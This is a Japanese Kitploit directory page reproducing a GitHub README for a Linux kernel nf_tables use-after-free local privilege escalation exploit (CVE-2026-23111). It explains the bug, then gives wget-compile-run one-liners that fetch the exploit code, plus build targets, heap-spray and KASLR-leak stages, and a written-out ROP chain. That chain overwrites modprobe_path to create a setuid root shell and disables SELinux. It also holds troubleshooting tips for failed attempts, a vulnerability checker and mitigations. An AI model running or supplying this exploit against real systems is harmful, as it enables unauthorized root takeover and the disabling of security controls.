Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-23111 — Linuxカーネル nf_tables Use-After-Free (CVE-2026-23111) — LPE PoC | Kitploit
ツール/GitHubGitHub/baba01hacker666/cve-2026-23111
特権昇格メモリフォレンジック脆弱性分析エクスプロイトリバースエンジニアリング論文と研究学習と教育バイナリエクスプロイト
GitHubbaba01hacker666/cve-2026-23111

CVE-2026-23111

Linuxカーネル nf_tables Use-After-Free (CVE-2026-23111) — LPE PoC

リポジトリを見る
721ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-23111 PoC

Linuxカーネル nf_tablesのUse-After-Free(ローカル権限昇格) poc by baba01hacker

脆弱性の概要

  • CVE: CVE-2026-23111
  • タイプ: Use-After-Free (CWE-416)
  • CVSS: 7.8 (HIGH)
  • コンポーネント: net/netfilter/nf_tables_api.c — nft_map_catchall_activate()
  • 根本原因: 反転したgenmaskチェックにより、トランザクションアボート中にチェーン参照カウンタがリークする

影響を受けるカーネルバージョン

バージョン範囲修正バージョン
6.19-rc1 ~ 6.19-rc86.19-rc9+
6.13 ~ 6.18.96.18.10
6.7 ~ 6.12.696.12.70
6.4.1 ~ 6.5.xEOL(安定版修正なし)
6.3.10 ~ 6.3.xEOL
6.0.x, 6.2.xEOL
6.1.36 ~ 6.1.1626.1.163
5.15.121 ~ 5.15.1995.15.200
5.10.188+, 5.4.262+, 4.19.316+各種LTS

脆弱性の詳細

CVE-2026-23111は、nft_map_catchall_activate()における世代マスクチェックの反転が原因のnf_tablesのUse-After-Freeです。失敗したトランザクションのロールバック中に、NFT_MSG_DELSETで非アクティブ化されたキャッチオールの判定マップ要素を再アクティブ化して、NFT_GOTOチェーン参照などの参照を復元する必要があります。キャッチオールのアクティベーションパスは代わりに非アクティブな要素をスキップし、アクティブな要素を処理するため、非アクティブ化されたキャッチオール要素が復元されません。

正しい非キャッチオールアクティベーションロジックは次のとおりです。

root@kitploit:~
if (nft_set_elem_active(ext, iter->genmask))
    return 0; /* アクティブはスキップ、非アクティブを処理 */

脆弱なキャッチオールパスでは逆の条件が使用されていました。

root@kitploit:~
if (!nft_set_elem_active(ext, genmask))
    continue; /* 非アクティブはスキップ、アクティブを処理 */

削除されたpipapo判定マップがロールバックされると、非アクティブなキャッチオール要素に対してnft_setelem_data_activate()が実行されなくなります。NFT_JUMP/NFT_GOTO判定データの場合、nft_data_hold()によって取得されたチェーン参照が復元されません。アボート/トグル/削除のシーケンスを繰り返すことで、chain->useを0にしながら、別のルールがまだそのチェーンへの有効な判定参照を保持している状態を作り出せます。後でDELCHAINを実行すると、チェーンが到達可能なまま解放され、UAFが発生します。

トリガーフロー

root@kitploit:~
Create table, base chain, victim chain, and pipapo verdict map with catchall NFT_GOTO -> victim
        |
Batch 1: delete the pipapo set, then force a transaction error
        |
Abort path calls nft_map_catchall_activate(), but the inverted check skips the inactive catchall
        |
The catchall remains inactive and the victim chain reference count is not restored
        |
Batch 2: commit a benign transaction to toggle the generation cursor
        |
Batch 3: delete the pipapo set successfully, decrementing the victim chain reference again
        |
Batch 4: delete the victim chain while the base-chain verdict still references it
        |
Use-after-free when packet evaluation or rule dumping follows the dangling verdict reference

上流の修正は否定を削除して、nft_map_catchall_activate()がnft_mapelem_activate()と一致するようにすることです。アクティブな要素はスキップされ、非アクティブな要素は再アクティブ化され、アボート処理中に判定/オブジェクト参照が復元されます。

テストのみ

root@kitploit:~
python3 CVE-2026-23111-checker.py --detailed
python3 CVE-2026-23111-checker.py --json

PoCワンライナーを実行

root@kitploit:~
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_full.c && gcc -Wall -O2 -o exploit_full exploit_full.c -lnftnl -lmnl && ./exploit_full -d

v2 フォールバックワンライナー

対象カーネルでフル/v1 PoCが失敗した場合に使用します。

root@kitploit:~
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_v2.c && gcc -Wall -O2 -o exploit_v2 exploit_v2.c -lnftnl -lmnl && ./exploit_v2 -d

ローカルビルド

コンパイラがlibmnl/libmnl.hやlibnftnlヘッダーを見つけられない場合、最初にビルド依存関係をインストールします。

root@kitploit:~
scripts/install-build-deps.sh
# または
make deps
root@kitploit:~
make          # エクスプロイトのビルド (PoCのみ)
make v2       # v2エクスプロイトのビルド (FuzzingLabsのアプローチ — v1が失敗したときに試す)
make full     # フルLPEエクスプロイトのビルド
make v3       # v3キャリブレーション済みeval-pathバリアントのビルド
make run-d    # デバッグ出力付きでPoCを実行
make run-v2-d # デバッグ出力付きでv2を実行
make run-v3   # v3の使用方法/ヘルプを表示
make run-full # フルLPEを実行

エクスプロイトの段階

フェーズ1: UAFトリガー ✅ 動作確認済み

キャッチオール要素(victimチェーンへのgoto)を持つpipapoマップセットを作成し、DELSETアボート中に反転したgenmaskバグを利用してchain->useを破壊します。世代カウンタを進めた後、DELCHAINがぶら下がり参照があるにもかかわらず成功し、チェーンが解放されます。

フェーズ2: KASLRリーク ✅ 動作確認済み

UAF後、chain->nameのメモリが解放されます。/proc/self/statを開くことでseq_operations構造体(32バイト)をスプレーし、解放されたスラブキャッシュスロットを再利用します。NFT_MSG_GETRULEでベースチェーンの即時判定ルールを読み戻すと、再利用されたチェーン名がダンプされ、カーネル関数ポインタがリークします。ポインタの検証により、正規のカーネルテキストアドレスのみが受け入れられます。

フェーズ3: ヒープアドレスリーク ✅ 動作確認済み

より長いチェーン名(140バイト → kmalloc-cg-192)でUAFを再トリガーし、nft_ruleオブジェクトをスプレーしてメモリを再利用します。リークしたlist_headポインタから、ダイレクトマップ領域内のヒープアドレスが明らかになります。

フェーズ4: 制御フローハイジャック & ROP 🔧 フレームワーク完成

  • 制御されたデータを持つ2つの192バイトルールをスプレーし、偽のnft_expr_opsとnft_rule_blobを作成
  • フェーズ3のヒープアドレスを使用して、偽のblob → 偽のexpr_opsポインタをリンク
  • 128バイトのテーブルユーザデータスプレーで、解放されたチェーンのblob_gen_0を上書き
  • ROPチェーン: commit_creds(&init_cred) → switch_task_namespaces → swapgs; iretq
  • ROPガジェットは/proc/kcoreから自動スキャン
  • ベースチェーンを介してパケットを送信し、ハイジャックされたexpr->ops->evalを呼び出す

v2 エクスプロイト (FuzzingLabsのアプローチ)

v2エクスプロイト(exploit_v2.c)はFuzzingLabsの記事で説明されている手法を使用しており、v1 PoCが失敗した場合に使用できます。主な違い:

v2 リークチェーン (init_ipc_ns 任意読み取り)

root@kitploit:~
init_ipc_ns + 0x118  →  msg_ids.xa_head  →  msg_queue (タグ付きポインタ)
msg_queue + 0xc0     →  q_messages.next  →  msg_msg ヒープアドレス

各ステップでは、解放されたチェーン構造体を任意読み取りプリミティブとして使用します。テーブルユーザデータ(128バイト)がkmalloc-cg-128内の解放されたnft_chainを再利用し、オフセット0x40(chain->nameが存在する場所)に配置されたカーネルアドレスが、SET_B要素ダンプ中にカーネルによって逆参照されます。

v3 ヒープキャリブレーションとROPチェーン (modprobe_path)

v3ヒープステージは、真のバイナリセーフな任意読み取り(eval経由)プリミティブではなく、オフセット予測に依存します。最終スプレーを実行する前にターゲットをキャリブレーションしてください。

root@kitploit:~
grep msg_msg /proc/slabinfo
# kmalloc-cg-2048オブジェクト密度と照合し、次のコマンドで実行:
./exploit_v3 --msg-msg-addr 0xffff...
# または、値がリークしたカーネルベースに対して既知の相対値である場合:
./exploit_v3 --msg-msg-delta 0x...

正確なカーネルビルドに対してnftables構造体のオフセットを検証します。

root@kitploit:~
pahole -E -C nft_chain /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_blob /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_dp /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_expr_ops /usr/lib/debug/boot/vmlinux-$(uname -r)

ガジェットスキャンは/proc/kcoreを使用します。制限されている場合は、vmlinuxからオフラインでガジェットを抽出し、リークしたカーネルベースに対する相対アドレスをハードコードします。v3パケット評価パスではpush rdi; pop rspを使用します(rdi = expr)。これはv2の検証パス(rsi = expr)とは異なります。

root@kitploit:~
push rdi; pop rsp; pop rbp; ret           ← スタックピボット (rdi = expr)
pop rdi; ret → &modprobe_path              \
pop rax; ret → "/tmp/pe\0"                 │ modprobe_pathの書き込み
mov [rdi], rax; ret                        /
pop rdi; ret → &selinux_state             \
xor eax, eax; ret                          │ SELinuxの無効化
mov [rdi], eax; ret                        /
pop rdi; ret → 10000                       \
msleep                                      │ カーネルを生かし続ける

/tmp/peスクリプトは、カーネルが未知のバイナリ形式に遭遇してmodprobe_pathを呼び出したときにrootとして実行されます。/tmp/rootbashにsetuid rootシェルを作成します。

v1とv2の使い分け

  • v1がKASLRリークで失敗する場合: v2はNFT_MSG_GETRULEの代わりにNFT_MSG_GETELEM(異なるカーネルコードパス)を使用
  • v1がヒープリークで失敗する場合: v2はnft_ruleオブジェクトのスプレーではなく、init_ipc_nsグローバル変数を使用してカーネルデータ構造をウォーク
  • v1がハイジャックで失敗する場合: v2はROPペイロードにnft_rules + テーブルユーザデータではなくmsg_msg-2k(大きな安定したバッファ)を使用
  • v1が権限昇格で失敗する場合: v2はcommit_creds + 名前空間スイッチではなくmodprobe_path(swapgs/iretq不要)を使用
  • カーネルにSLAB_RANDOM/強化がある場合: v2のinit_ipc_nsチェーンターゲットは安定したグローバルであり、ヒープレイアウトの重要性が低い

技術的詳細

バグ

nft_map_catchall_activate() (net/netfilter/nf_tables_api.c) 内:

root@kitploit:~
list_for_each_entry(catchall, &set->catchall_list, list) {
    ext = nft_set_elem_ext(set, catchall->elem);
    if (!nft_set_elem_active(ext, genmask))  // バグ: '!' がないべき
        continue;
    nft_clear(ctx->net, ext);
    nft_setelem_data_activate(ctx->net, set, catchall->elem);
    break;
}

!により、関数は非アクティブな要素を処理する代わりにスキップします。トランザクションアボート中、DELSETで非アクティブ化されたばかりのキャッチオール要素がスキップされるため、nft_data_hold()が呼び出されず、チェーン参照カウンタが復元されません。

エクスプロイトのメカニズム

  1. キャッチオール要素(→ victimチェーンへのgoto)を持つpipapoマップセットを作成
  2. バッチA: DELSET + 無効な操作 → アボート → chain->useが0のまま
  3. バッチB: 有効なトランザクション → genidを進める
  4. バッチC: DELSET → 成功
  5. バッチD: DELCHAIN → チェーン解放(chain->use == 0だが、ぶら下がり参照が存在)
  6. セットのキャッチオール要素は解放されたチェーン名をまだ参照している → スプレー + 読み戻し

ファイル

root@kitploit:~
├── CVE-2026-23111-checker.py   脆弱性検出スクリプト (--detailed, --json)
├── exploit.c                   PoCエクスプロイト (UAF + KASLRリーク + ヒープリーク)
├── exploit_v2.c                v2エクスプロイト (FuzzingLabsのアプローチ — v1が失敗したときに試す)
├── exploit_full.c              フルLPEエクスプロイト (UAF + リーク + ROPチェーン)
├── exploit_full_aarch64        プリビルドaarch64バイナリ (静的リンク)
├── exploit_full.b64            Base64エンコードされたフルエクスプロイトバイナリ
├── Makefile                    ビルド設定
└── README.md                   このファイル

ビルド要件

root@kitploit:~
apt-get install -y libmnl-dev libnftnl-dev gcc make python3

クロスコンパイル (aarch64)

root@kitploit:~
apt-get install -y gcc-aarch64-linux-gnu
make aarch64

デバッグビルド (AddressSanitizer付き)

root@kitploit:~
make debug          # ASan付きPoC
make debug-full     # ASan付きフルエクスプロイト

チェッカースクリプト

チェッカーは複数の検出方法を実行します。

  • バージョンマッチング: カーネルバージョンをすべての既知の脆弱な範囲(rcカーネルを含む)と照合
  • モジュール検出: nf_tablesカーネルモジュールがロードされているか確認
  • カーネル設定: /proc/config.gzまたは/boot/config-*からCONFIG_NF_TABLESを読み取り
  • シンボルチェック: /proc/kallsyms内のnft_map_catchall_activateを検索
  • 名前空間設定: kernel.unprivileged_userns_clone sysctlを確認
  • リスクスコアリング: すべての指標を組み合わせて0-6のリスクスコアを算出
root@kitploit:~
python3 CVE-2026-23111-checker.py --detailed   # 緩和策付きの人間可読形式
python3 CVE-2026-23111-checker.py --json        # 機械可読JSON

トラブルシューティング

参考文献

  • FuzzingLabs - Reproducing CVE-2026-23111
  • Exodus Intel Blog - Detailed Analysis
  • NVD Entry
  • Kernel Patch 1
  • Kernel Patch 2

緩和策

  1. カーネルを修正バージョンに更新 (6.18.10+, 6.12.70+, 6.6.124+など)
  2. 非特権ユーザ名前空間を無効化: sysctl kernel.unprivileged_userns_clone=0
  3. 不要な場合はnf_tablesモジュールをブラックリストに追加:
    root@kitploit:~
    echo 'install nf_tables /bin/true' >> /etc/modprobe.d/nf_tables.conf
    
ツールをダウンロード
コンポーネントv1 (exploit.c)v2 (exploit_v2.c)
UAFトリガー単一セット + 即時gotoルール2つのセット(FuzzingLabsスタイル) + ルックアップルール
KASLR読み戻しNFT_MSG_GETRULE(ルールダンプ)NFT_MSG_GETELEM(要素ダンプ) + GETRULEフォールバック
ヒープリークnft_ruleスプレー + list_headリークinit_ipc_ns任意読み取りチェーン
ROPホストnft_rules + テーブルユーザデータmsg_msg-2k(2048バイトメッセージ)
ハイジャックトリガー即時gotoに対するパケット評価存続セットのキャッチオールに対するパケット評価
権限昇格commit_creds + switch_task_namespacesmodprobe_path上書き + SELinux無効化
復帰パスswapgs; iretqmsleep()(カーネル内に留まる)
問題解決策
mnl_socket_open: No such file or directorynf_tablesモジュールがロードされていることを確認: modprobe nf_tables
unshare: Operation not permitted非特権ユーザ名前空間が必要。kernel.unprivileged_userns_clone=1を確認
Batch A did NOT abortカーネルが修正されているか、genmaskの動作が異なる可能性がある
No kernel pointer leakedKASLR強化またはSLAB_RANDOMが有効な可能性がある。複数回試す
No heap pointer foundヒープスプレーの衝突率は確率的。再試行するかスプレー数を増やす
コンパイル: nf_tables.h: No such fileカーネルヘッダーをインストール: apt install linux-headers-$(uname -r)
リンクエラー: undefined reference to mnl_*リンク順序が重要: -lnftnl -lmnl (nftnlを先に)